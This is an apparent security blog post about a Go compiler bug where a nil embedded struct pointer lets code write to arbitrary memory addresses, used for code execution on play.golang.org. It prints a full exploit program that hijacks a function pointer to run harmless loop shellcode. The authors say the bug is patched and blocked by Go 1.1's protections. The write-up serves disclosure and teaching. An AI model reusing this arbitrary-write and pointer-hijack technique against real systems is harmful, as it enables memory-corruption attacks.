Introduction

Earlier this year, tylerni7 showed us a proof of concept for a 32 bit Go exploit using this issue. geohot and I had a wager over who could get the first remote code execution on play.golang.org: he won, but just barely ;-). Props also to ricky for helping to find the underlying cause/writing the patch. Here is a summary of how we did it.

Note: play.golang.org is properly sandboxed, so code execution there does not actually let you do anything. Had this been a more serious bug that could actually be used for anything malicious, we would have reported it and not used it as a CTF problem.

This post is cross posted on my personal blog, original post there.

The Bug

Go has support for embedded structs. You can define an embedded struct as follows:

1
2
3
4
5
6
7
8
9
10
type Embedded struct {
   foo int
}

type Struct struct {
   Embedded
   bar int
}

var instance Struct

It is valid to do both instance.bar and instance.foo.

The problem comes when you try something slightly trickier:

1
2
3
4
5
6
7
8
9
10
type Embedded struct {
   foo int
}

type Struct struct {
   *Embedded
   bar int
}

var instance Struct

When you access instance.foo (a member of an uninitialized struct), it incorrectly offsets from 0 rather than the base of an Embedded struct. Normally, when dereferencing a pointer inside a struct, the go compiler emits guard code which will cause a segfault if the pointer is nil. However, this code is not emitted when the pointer is the first element of the struct, since it’s assumed that this will cause a segfault whenever it is used anyway. This assumption is not always valid, as the pointer can be to a large struct such that the offsets of members of the large struct are valid addresses.

The Vulnerability

We define an enormous struct and use it to offset memory:

1
2
3
4
5
6
7
8
9
10
type Embedded struct {
   offset [0x400100]byte
   address uint32
}

type Struct struct {
   *Embedded
   bar int
}
var instance Struct

Now we can do instance.address = 0xdeadbeef and we have written to 0x400100! This is the arbitrary write primitive we need.

The Exploit

Once you have an arbitrary write in go, it is really easy to get arbitrary code execution. We put a function pointer in our data segment (we wanted to put it in the heap, but that didn’t work on 64bit Go — apparently the size of a struct is limited to 32 bits. Luckily, the data segment is in the lower 32 bits) and change it to point to our shell code using the arbitrary write. Since Go has no randomization at all, this is as simple as running the program twice. Full exploit below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package main

import "fmt"

// Address to write, computed from a previous run.
const addr_to_overwrite = 0x50e2f0
// &shellcode, computed from a previous run.
const val_to_overwrite uint64 = 0xc200035160

type Embedded struct {
   offset [addr_to_overwrite]byte
   payload uint64
}

type Nested struct {
  // This magic is necessary is because there is an explict null check if
  // if the offset is greater than 0x1000.
  Embedded
}

type Struct struct {
 // The issue is that a reference to the embeded struct pointer here
 // will be offset from null (rather than the true base of a Nested struct).
 // We thus just make sizeof(the embedded struct) large enough to point
 // to the address we want to overwrite.
 //
 // See https://code.google.com/p/go/issues/detail?id=5336
 *Nested
}

var unused = func () {}

func main() {
 s := &Struct{}
 shellcode := "\x90\x90\x90\x90\x90\x90\x90\xeb\xfe"

 fmt.Println("You should overwrite this: ", &unused)
 fmt.Println("With this: ", &shellcode)

 fmt.Println("***********************************************");
 fmt.Println("Overwriting ", &s.payload, " with ", val_to_overwrite)

 *(&s.payload) = val_to_overwrite;

 unused();
}}

What Now?

Well, clearly this issue should be fixed. I also think it is important for Go to add the standard protections (ASLR, NX) — I posted an article earlier about security in Go where I strongly advocated those protections. If this language is to be taken seriously, it should really start worrying about making exploitation difficult.

Edit: this article was written a while ago. The the above exploit will not work because Go 1.1 uses a non-executable heap and stack (the vulnerability still gives an arbitrary read/write, but a little extra work is needed to complete the exploit). Good job go!